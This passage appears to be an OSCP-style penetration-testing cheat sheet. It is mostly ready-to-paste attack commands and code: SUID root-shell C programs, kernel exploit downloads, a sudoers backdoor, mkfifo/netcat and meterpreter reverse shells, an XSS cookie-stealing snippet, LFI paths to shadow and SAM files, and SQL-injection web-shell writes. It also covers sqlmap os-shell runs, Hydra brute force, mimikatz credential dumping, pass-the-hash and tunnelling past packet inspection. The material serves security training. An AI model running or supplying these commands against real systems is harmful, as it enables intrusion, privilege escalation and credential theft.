chown -R ftpuser:ftpgroup /ftphome/

/etc/init.d/pure-ftpd restart

Packing Files
- Ultimate Packer for eXecutables
  upx -9 nc.exe
- exe2bat – Converts EXE to a text file that can be copied and pasted
  locate exe2bat
  wine exe2bat.exe nc.exe nc.txt
- Veil – Evasion Framework – https://github.com/Veil-Framework/Veil-Evasion
  apt-get -y install git
  git clone https://github.com/Veil-Framework/Veil-Evasion.git
  cd Veil-Evasion/
  cd setup
  setup.sh -c

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

Linux Privilege Escalation
Defacto Linux Privilege Escalation Guide – A much more through guide for linux enumeration:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Try the obvious – Maybe the user is root or can sudo to root:

sudo su

Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

What users can login to this box (Do they use thier username as thier password)?:

grep -vE “nologin|false” /etc/passwd

What kernel version are we using? Do we have any kernel exploits for this version?

uname -a

searchsploit linux kernel 3.2 –exclude=”(PoC)|/dos/”

What applications have active connections?:

netstat -tulpn

What services are running as root?:

ps aux | grep root

What files run as root / SUID / GUID?:

find / -perm +2000 -user root -type f -print

find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r “bin$”`; do find $i $ -perm -4000 -o -perm -2000 $ -type f 2>/dev/null; done

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

What folders are world writeable?:

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / $ -perm -o w -perm -o x $ -type d 2>/dev/null # world-writeable & executable folders

There are a few scripts that can automate the linux enumeration process:
- Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.
- LinuxPrivChecker.py – My favorite automated linux priv enumeration checker –

https://www.securitysift.com/download/linuxprivchecker.py

LinEnum – (Recently Updated)

https://github.com/rebootuser/LinEnum

linux-exploit-suggester (Recently Updated)

https://github.com/mzet-/linux-exploit-suggester

Highon.coffee Linux Local Enum – Great enumeration script!

wget https://highon.coffee/downloads/linux-local-enum.sh

Linux Privilege Exploit Suggester (Old has not been updated in years)

https://github.com/PenturaLabs/Linux_Exploit_Suggester

Linux post exploitation enumeration and exploit checking tools

https://github.com/reider-roque/linpostexp

Handy Kernel Exploits

CVE-2010-2959 – ‘CAN BCM’ Privilege Escalation – Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

https://www.exploit-db.com/exploits/14814/

wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814

$ gcc i-can-haz-modharden.c -o i-can-haz-modharden

$ ./i-can-haz-modharden

[+] launching root shell!

# id

uid=0(root) gid=0(root)

CVE-2010-3904 – Linux RDS Exploit – Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/
CVE-2012-0056 – Mempodipper – Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
Linux CVE 2012-0056
wget -O exploit.c http://www.exploit-db.com/download/18411
gcc -o mempodipper exploit.c
./mempodipper

CVE-2016-5195 – Dirty Cow – Linux Privilege Escalation – Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
Run a command as a user other than root
sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf
Add a user or change a password
/usr/sbin/useradd -p ‘openssl passwd -1 thePassword’ haxzor
echo thePassword | passwd haxzor –stdin
Local Privilege Escalation Exploit in Linux
- SUID (Set owner User ID up on execution)
  Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and paste examples for various shells:

SUID C Shell for /bin/bash

int main(void){

setresuid(0, 0, 0);

system(“/bin/bash”);

}

SUID C Shell for /bin/sh

int main(void){

setresuid(0, 0, 0);

system(“/bin/sh”);

}

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

Create and compile an SUID from a limited shell (no file transfer)
- echo “int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\”/bin/sh\”);\n}” >privsc.c
- gcc privsc.c -o privsc
Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:

echo ‘chmod 777 /etc/sudoers && echo “www-data ALL=NOPASSWD:ALL” >> /etc/sudoers && chmod 440 /etc/sudoers’ > /tmp/update

You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.
set PATH=”/tmp:/usr/local/bin:/usr/bin:/bin”
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f” >> /tmp/ssh
chmod +x ssh
SearchSploit
searchsploit –uncsearchsploit apache 2.2
searchsploit “Linux Kernel”
searchsploit linux 2.6 | grep -i ubuntu | grep local
searchsploit slmail
Kernel Exploit Suggestions for Kernel Version 3.0.0

./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0

Precompiled Linux Kernel Exploits – Super handy if GCC is not installed on the target machine!

https://www.kernel-exploits.com/

Collect root password

cat /etc/shadow |grep root

Find and display the proof.txt or flag.txt – LOOT!
cat `find / -name proof.txt -print`

Windows Privilege Escalation
Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
Try the obvious – Maybe the user is SYSTEM or is already part of the Administrator group:

whoami

net user “%username%”

Try the getsystem command using meterpreter – rarely works but is worth a try.

meterpreter > getsystem

No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial and windows_privesc_check.py).

Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report:

@echo ——— BASIC WINDOWS RECON ——— > report.txt

timeout 1

net config Workstation >> report.txt

timeout 1

systeminfo | findstr /B /C:”OS Name” /C:”OS Version” >> report.txt

timeout 1

hostname >> report.txt

timeout 1

net users >> report.txt

timeout 1

ipconfig /all >> report.txt

timeout 1

route print >> report.txt

timeout 1

arp -A >> report.txt

timeout 1

netstat -ano >> report.txt

timeout 1

netsh firewall show state >> report.txt

timeout 1

netsh firewall show config >> report.txt

timeout 1

schtasks /query /fo LIST /v >> report.txt

timeout 1

tasklist /SVC >> report.txt

timeout 1

net start >> report.txt

timeout 1

DRIVERQUERY >> report.txt

timeout 1

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt

timeout 1

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt

timeout 1

dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt

timeout 1

findstr /si password *.xml *.ini *.txt >> report.txt

timeout 1

reg query HKLM /f password /t REG_SZ /s >> report.txt

timeout 1

reg query HKCU /f password /t REG_SZ /s >> report.txt

timeout 1

dir “C:\”

timeout 1

dir “C:\Program Files\” >> report.txt

timeout 1

dir “C:\Program Files (x86)\”

timeout 1

dir “C:\Users\”

timeout 1

dir “C:\Users\Public\”

timeout 1

echo REPORT COMPLETE!

Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt’:
Progress: [=============================>] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt’ to `/aspshell3.asp%3b.txt’: succeeded.
dav:/> exit
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.2.3.4
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
curl http://$ip/aspshell3.asp;.txt
[*] Started reverse TCP handler on 1.2.3.4:443
[*] Starting the payload handler…
[*] Sending stage (957487 bytes) to 1.2.3.5
[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700
Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py –onefile exploit.py
Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

https://www.exploit-db.com/exploits/6705/

https://github.com/Re4son/Churrasco

c:\Inetpub>churrasco

churrasco

/churrasco/–>Usage: Churrasco.exe [-d] “command to run”

c:\Inetpub>churrasco -d “net user /add <username> <password>”

c:\Inetpub>churrasco -d “net localgroup administrators <username> /add”

c:\Inetpub>churrasco -d “NET LOCALGROUP “Remote Desktop Users” <username> /ADD”

Windows MS11-080 – http://www.exploit-db.com/exploits/18176/
python pyinstaller.py –onefile ms11-080.py
mx11-080.exe -O XP
Powershell Exploits – You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:

MS16-032 https://www.exploit-db.com/exploits/39719/

powershell -ExecutionPolicy ByPass -command “& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }”

Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Windows Run As – Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
- Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
- C:\>psexec64 \\COMPUTERNAME -u Test -p test -h “c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe”
- PsExec v2.2 – Execute processes remotely
- Copyright (C) 2001-2016 Mark Russinovich
- Sysinternals – www.sysinternals.com
Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
- C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test “c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe”
- Enter the password for Test:
- Attempting to start nc.exe as user “COMPUTERNAME\Test” …
PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.
- $username = ‘<username here>’
- $password = ‘<password here>’
- $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
- $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
- Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList (“-nc”,”192.168.1.10″,”4444″,”-e”,”cmd.exe”) -WorkingDirectory C:\Users\Public

Next run this script using powershell.exe:

powershell -ExecutionPolicy ByPass -command “& { . C:\Users\public\PowerShellRunAs.ps1; }”

Windows Service Configuration Viewer – Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
icacls scsiaccess.exe
scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
Compile a custom add user command in windows using C
root@kali:~# cat useradd.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system (“net localgroup administrators low /add”);
return 0;
}

i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

Group Policy Preferences (GPP)
A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files
- map the Domain controller SYSVOL share

net use z:\\dc01\SYSVOL

Find the GPP file: Groups.xml

dir /s Groups.xml

Review the contents for passwords

type Groups.xml

Decrypt using GPP Decrypt

gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

Find and display the proof.txt or flag.txt – get the loot!

#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt

Client, Web and Password Attacks

Client Attacks
- MS12-037- Internet Explorer 8 Fixed Col Span ID
  wget -O exploit.html http://www.exploit-db.com/download/24017
  service apache2 start
- JAVA Signed Jar client side attack
  echo ” > /var/www/html/java.html
  User must hit run on the popup that occurs.
- Linux Client Shells
  http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
- Setting up the Client Side Exploit
- Swapping Out the Shellcode
- Injecting a Backdoor Shell into Plink.exe
  backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp
Web Attacks
- Web Shag Web Application Vulnerability Assessment Platform
  webshag-gui
- Web Shells
  http://tools.kali.org/maintaining-access/webshells
  ls -l /usr/share/webshells/
- Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
  weevely generate s3cr3t
  weevely http://$ip/weevely.php s3cr3t
- Java Signed Applet Attack
- HTTP / HTTPS Webserver Enumeration
  - OWASP Dirbuster
  - nikto -h $ip
- Essential Iceweasel Add-ons
  Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
  Tamper Data
  https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
- Cross Site Scripting (XSS)
  significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more
- Browser Redirection and IFRAME Injection

Stealing Cookies and Session Information
- <javascript>
- new image().src=”http://$ip/bogus.php?output=”+document.cookie;

</script>

nc -nlvp 80

File Inclusion Vulnerabilities
- Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
- fimap – There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
  https://github.com/kurobeats/fimap
  - Gaining a shell from phpinfo()
    fimap + phpinfo() Exploit – If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
- For Local File Inclusions look for the include() function in PHP code.
- include(“lang/”.$_COOKIE[‘lang’]);

include($_GET[‘page’].”.php”);

LFI – Encode and Decode a file using base64
- curl -s \
- “http://$ip/?page=php://filter/convert.base64-encode/resource=index” \

| grep -e ‘\[^\\ \]\\{40,\\}’ | base64 -d

LFI – Download file with base 64 encoding
http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php
LFI Linux Files:
/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root
LFI Windows Files:
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\SAM
%WINDIR%\win.ini
%SYSTEMDRIVE%\boot.ini
%WINDIR%\Panther\sysprep.inf
%WINDIR%\system32\config\AppEvent.Evt
LFI OSX Files:
/etc/fstab
/etc/master.passwd
/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf
LFI – Download passwords file
http://$ip/index.php?page=/etc/passwd
http://$ip/index.php?file=../../../../etc/passwd
LFI – Download passwords file with filter evasion
http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
Local File Inclusion – In versions of PHP below 5.3 we can terminate with null byte
GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
Contaminating Log Files <?php echo shell_exec($_GET[‘cmd’]);?>
For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files

/etc/php5/cgi/php.ini – “allow_url_fopen” and “allow_url_include” both set to “on”

include($_REQUEST[“file”].”.php”);

Remote File Inclusion

http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt

<?php echo shell\_exec(“ipconfig”);?>

Database Vulnerabilities
- Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:

http://sqlfiddle.com

Another site is rextester.com:

http://rextester.com/l/mysql_online_compiler

Detecting SQL Injection Vulnerabilities.

Most modern automated scanner tools use time delay techniques to detect SQL injection vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it is a “blind” sql injection vulnerabilit that does not provide any data back. You know your SQL injection is working when the server takes a LOooooong time to respond. I have added a line comment at the end of each injection statement just in case there is additional SQL code after the injection point.

MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a MSSQL Server Query
- Original Query

SELECT * FROM products WHERE name=’Test’;

Injection Value

‘; WAITFOR DELAY ’00:00:30’; —

Resulting Query

SELECT * FROM products WHERE name=’Test’; WAITFOR DELAY ’00:00:30′; —

MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query
- Original Query

SELECT * FROM products WHERE name=’Test’;

Injection Value

‘-SLEEP(30); #

Resulting Query

SELECT * FROM products WHERE name=’Test’-SLEEP(30); #

PostGreSQL Injection Time Delay Detection: Add a 30 second delay to an PostGreSQL Query
- Original Query

SELECT * FROM products WHERE name=’Test’;

Injection Value

‘; SELECT pg_sleep(30); —

Resulting Query

SELECT * FROM products WHERE name=’Test’; SELECT pg_sleep(30); —

Grab password hashes from a web application mysql database called “Users” – once you have the MySQL root username and password
- mysql -u root -p -h $ip
- use “Users”
- show tables;
- select \* from users;
Authentication Bypass
- name=’wronguser’ or 1=1;
- name=’wronguser’ or 1=1 LIMIT 1;
Enumerating the Database

http://192.168.11.35/comment.php?id=738)’

Verbose error message?

http://$ip/comment.php?id=738 order by 1

http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

Determine MySQL Version:

http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

Current user being used for the database connection:

http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

Enumerate database tables and column structures

http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

Target the users table in the database

http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name=’users’

Extract the name and password

http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users

Create a backdoor

http://$ip/comment.php?id=738 union all select 1,2,3,4,”<?php echo shell_exec($_GET[‘cmd’]);?>”,6 into OUTFILE ‘c:/xampp/htdocs/backdoor.php’

SQLMap Examples
Crawl the links

sqlmap -u http://$ip –crawl=1

sqlmap -u http://meh.com –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3

SQLMap Search for databases against a suspected GET SQL Injection

sqlmap –u http://$ip/blog/index.php?search –dbs

SQLMap dump tables from database oscommerce at GET SQL injection

sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps

SQLMap GET Parameter command

sqlmap -u http://$ip/comment.php?id=738 –dbms=mysql –dump -threads=5

SQLMap Post Username parameter

sqlmap -u http://$ip/login.php –method=POST –data=”usermail=asc@dsd.com&password=1231″ -p “usermail” –risk=3 –level=5 –dbms=MySQL –dump-all

SQL Map OS Shell

sqlmap -u http://$ip/comment.php?id=738 –dbms=mysql –osshell

sqlmap -u http://$ip/login.php –method=POST –data=”usermail=asc@dsd.com&password=1231″ -p “usermail” –risk=3 –level=5 –dbms=MySQL –os-shell

Automated sqlmap scan

sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read=”/var/www/blah.php”

Targeted sqlmap scan

sqlmap -u “http://meh.com/meh.php?id=1” –dbms=mysql –tech=U –random-agent –dump

Scan url for union + error based injection with mysql backend and use a random user agent + database dump

sqlmap -o -u http://$ip/index.php –forms –dbs

sqlmap -o -u “http://$ip/form/” –forms

Sqlmap check form for injection

sqlmap -o -u “http://$ip/vuln-form” –forms -D database-name -T users –dump

Enumerate databases

sqlmap –dbms=mysql -u “$URL” –dbs

Enumerate tables from a specific database

sqlmap –dbms=mysql -u “$URL” -D “$DATABASE” –tables

Dump table data from a specific database and table

sqlmap –dbms=mysql -u “$URL” -D “$DATABASE” -T “$TABLE” –dump

Specify parameter to exploit

sqlmap –dbms=mysql -u “http://www.example.com/param1=value1&param2=value2” –dbs -p param2

Specify parameter to exploit in ‘nice’ URIs (exploits param1)

sqlmap –dbms=mysql -u “http://www.example.com/param1/value1*/param2/value2” –dbs

Get OS shell

sqlmap –dbms=mysql -u “$URL” –os-shell

Get SQL shell

sqlmap –dbms=mysql -u “$URL” –sql-shell

SQL query

sqlmap –dbms=mysql -u “$URL” -D “$DATABASE” –sql-query “SELECT * FROM $TABLE;”

Use Tor Socks5 proxy

sqlmap –tor –tor-type=SOCKS5 –check-tor –dbms=mysql -u “$URL” –dbs

NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP journies (/cgi-bin/mongo/2.2.3/dbparse.py). NoSQLMap can help you to automate NoSQLDatabase enumeration.
NoSQLMap Installation
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap/
ls
pip install couchdb
pip install pbkdf2
pip install ipcalc

python nosqlmap.py

Often you can create an exception dump message with MongoDB using a malformed NoSQLQuery such as:

a’; return this.a != ‘BadData’’; var dummy=’!

Password Attacks
- AES Decryption
  http://aesencryption.net/
- Convert multiple webpages into a word list
- for x in ‘index’ ‘about’ ‘post’ ‘contact’ ; do \
- curl http://$ip/$x.html | html2markdown | tr -s ‘ ‘ ‘\\n’ >> webapp.txt ; \

done

Or convert html to word list dict
html2dic index.html.out | sort -u > index-html.dict
Default Usernames and Passwords
- CIRT
  http://www.cirt.net/passwords
- Government Security – Default Logins and Passwords for Networked Devices
- http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
- Virus.org
  http://www.virus.org/default-password/
- Default Password
  http://www.defaultpassword.com/
Brute Force
- Nmap Brute forcing Scripts
  https://nmap.org/nsedoc/categories/brute.html
- Nmap Generic auto detect brute force attack: nmap –script brute -Pn <target.com or ip>
- MySQL nmap brute force attack: nmap –script=mysql-brute $ip
Dictionary Files
- Word lists on Kali
  cd /usr/share/wordlists
Key-space Brute Force
- crunch 6 6 0123456789ABCDEF -o crunch1.txt
- crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
- crunch 8 8 -t ,@@^^%%%
Pwdump and Fgdump – Security Accounts Manager (SAM)
- pwdump.exe – attempts to extract password hashes
- fgdump.exe – attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.
Windows Credential Editor (WCE)
- allows one to perform several attacks to obtain clear text passwords and hashes. Usage: wce -w
Mimikatz
- extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
  https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access):
  - meterpreter> load mimikatz
  - meterpreter> help mimikatz
  - meterpreter> msv
  - meterpreter> kerberos
  - meterpreter> mimikatz_command -f samdump::hashes
  - meterpreter> mimikatz_command -f sekurlsa::searchPasswords

Password Profiling
- cewl can generate a password list from a web page
  cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
Password Mutating
- John the ripper can mutate password lists
  nano /etc/john/john.conf
  john –wordlist=megacorp-cewl.txt –rules –stdout > mutated.txt
Medusa
- Medusa, initiated against an htaccess protected web directory
  medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
Ncrack
- ncrack (from the makers of nmap) can brute force RDP
  ncrack -vv –user offsec -P password-file.txt rdp://$ip
Hydra
- Hydra brute force against SNMP

hydra -P password-file.txt -v $ip snmp

Hydra FTP known user and rockyou password list

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

Hydra SSH using a known password and a username list

hydra -v -V -u -L users.txt -p “<known password>” -t 1 -u $ip ssh

Hydra SSH Against Known username on port 22

hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

Hydra POP3 Brute Force

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

Hydra SMTP Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

Hydra attack http get 401 login with a dictionary

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

Hydra brute force SMB user with rockyou:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

Hydra brute force a WordPress admin login

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’

Password Hash Attacks
- Online Password Cracking
  https://crackstation.net/ http://finder.insidepro.com/
- Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the –force parameter.

apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

and

apt-get install pocl-opencl-icd

Cracking Linux Hashes – /etc/shadow file

500 | md5crypt $1$, MD5(Unix) | Operating-Systems

3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems

1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems

Cracking Windows Hashes

3000 | LM | Operating-Systems

1000 | NTLM | Operating-Systems

Cracking Common Application Hashes

900 | MD4 | Raw Hash

0 | MD5 | Raw Hash

5100 | Half MD5 | Raw Hash

100 | SHA1 | Raw Hash

10800 | SHA-384 | Raw Hash

1400 | SHA-256 | Raw Hash

1700 | SHA-512 | Raw Hash

Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Hashcat example cracking Linux md5crypt passwords 1 using rockyou:

hashcat –force -m 500 -a 0 -o found1.txt –remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

WordPress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

WordPress clear text: test

Hashcat example cracking WordPress passwords using rockyou:

hashcat –force -m 400 -a 0 -o found1.txt –remove wphash.hash /usr/share/wordlists/rockyou.txt

Sample Hashes
http://openwall.info/wiki/john/sample-hashes
Identify Hashes

hash-identifier

To crack linux hashes you must first unshadow them:

unshadow passwd-file.txt shadow-file.txt

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

John the Ripper – Password Hash Cracking
- john $ip.pwdump
- john –wordlist=/usr/share/wordlists/rockyou.txt hashes
- john –rules –wordlist=/usr/share/wordlists/rockyou.txt
- john –rules –wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
- JTR forced descrypt cracking with wordlist

john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt

JTR forced descrypt brute force cracking

john –format=descrypt hash –show

Passing the Hash in Windows
- Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896

pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

Port Forwarding – accept traffic on a given IP address and port and redirect it to a different IP address and port
- apt-get install rinetd
- cat /etc/rinetd.conf
- # bindadress bindport connectaddress connectport
- w.x.y.z 53 a.b.c.d 80

SSH Local Port Forwarding: supports bi-directional communication channels
- ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
- ssh <gateway> -R <remote port to bind>:<local host>:<local port>
SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
- ssh -D <local proxy port> -p <remote port> <target>
Proxychains – Perform nmap scan within a DMZ from an external computer
- Create reverse SSH tunnel from Popped machine on :2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host>

Create a Dynamic application-level port forward on 8080 thru 2222

ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains

proxychains nmap –top-ports=20 -sT -Pn $ip/24

HTTP Tunneling

nc -vvn $ip 8888

Traffic Encapsulation – Bypassing deep packet inspection
- http tunnel
  On server side:
  sudo hts -F <server ip addr>:<port of your app> 80 On client side:
  sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
- Tunnel on port 22

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

Port 22 blocked? Try port 80? or 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
- Windows machine add required firewall rules without prompting the user
- netsh advfirewall firewall add rule name=”httptunnel_client” dir=in action=allow program=”httptunnel_client.exe” enable=yes
